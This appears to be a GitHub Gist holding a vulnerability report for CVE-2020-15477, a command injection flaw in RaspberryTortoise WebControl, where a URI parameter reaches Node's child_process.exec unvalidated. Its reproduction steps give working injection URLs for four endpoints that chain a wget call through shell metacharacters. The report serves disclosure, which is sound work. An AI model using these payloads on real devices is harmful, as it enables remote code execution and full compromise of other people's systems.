Instantly share code, notes, and snippets.

PreethamBomma / **CVE-2020-15477**

Created 2 years ago

☆ Star

Code Revisions 1 Stars 1

CVE-2020-15477

```
Suggeted description
The WebControl in
RaspberryTortoise through 2012-10-28 is vulnerable to remote code execution via shell metacharacters in a URI.
The file nodejs/raspberryTortoise.js has no validation on the
parameter incomingString before passing it to the child_process.exec
function.

-----------------------------------------

[Additional Information]
Steps to Reproduce:

1. Start the RaspberryTortoise Webcontrol as mentioned in https://github.com/raspberrytorte/tortoise/tree/master/nodejs
2. Start your local server for example, `python3 -m http.server 80`
3. Go to the below url
    http://127.0.0.1:8080/backward?0.05;wget${IFS}127.0.0.1/abcd
4. You should receive a request on your local webserver

All the below components are also vulnerable.

 http://127.0.0.1:8080/forward?0.05;wget${IFS}127.0.0.1/abcd
 http://127.0.0.1:8080/left?0.05;wget${IFS}127.0.0.1/abcd
 http://127.0.0.1:8080/right?0.05;wget${IFS}127.0.0.1/abcd

-----------------------------------------

[VulnerabilityType Other]
Remote Code Execution

-----------------------------------------

[Vendor of Product]
Raspberry Torte

-----------------------------------------

[Affected Product Code Base]
RaspberryTortoise Webcontrol - latest

-----------------------------------------

[Affected Component]
backward
left
right
forward

-----------------------------------------

[Attack Type]
Remote

-----------------------------------------

[Impact Code execution]
true

-----------------------------------------

[Impact Information Disclosure]
true

-----------------------------------------

[Attack Vectors]
An attacker can exploit this vulnerability by crafting payload in
http://tortoise-ip/backward?0.05 for example to obtain blind remote
code execution. Due to this flaw, it leads to complete compromise of
the system.

-----------------------------------------

[Reference]
https://github.com/raspberrytorte/tortoise/tree/master/nodejs

-----------------------------------------

[Discoverer]
Preetham Bomma
```